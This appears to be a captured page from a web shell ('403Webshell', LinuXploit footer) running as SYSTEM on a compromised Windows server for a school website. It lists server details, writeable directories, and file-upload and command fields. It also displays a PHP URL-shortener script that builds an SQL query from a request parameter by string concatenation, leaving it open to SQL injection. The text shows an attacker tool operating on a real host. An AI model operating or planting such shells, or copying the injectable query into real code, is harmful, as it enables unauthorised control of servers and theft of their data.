403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/benjama/modules/webtool/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/benjama/modules/webtool//surlapi.php
<?php    
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
//error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_WARNING);
error_reporting(E_ALL);
//print_r($_SESSION) ;
//print_r($_REQUEST);
include dirname(__FILE__) .DIRECTORY_SEPARATOR. "../../includes/class.mysql.php";
include dirname(__FILE__) .DIRECTORY_SEPARATOR. "../../includes/config.in.php";

$flist = array("ben" , "main","salary");
$surl = isset($_REQUEST['surl'])? htmlspecialchars($_REQUEST['surl']) : "" ;

if(in_array($surl, $flist) || $surl ==""){
    echo "no" ;
    exit ;
}
//echo $surl ;
$db = New DB();
$db->connectdb(DB_NAME, DB_USERNAME, DB_PASSWORD);
//print_r($db) ;
$sql = "SELECT * FROM web_surl  WHERE shortURL='". $surl ."' " ;
$res = $db->select_query($sql);
//print_r($res) ;
$arr = $db->fetch($res);
//print_r($arr) ;
if($arr){
    //echo "no\n" ;
    echo $arr['longURL'] ."\n" ;
    exit ;
}
echo "yes\n" ;


?>





Youez - 2016 - github.com/yon3zu
LinuXploit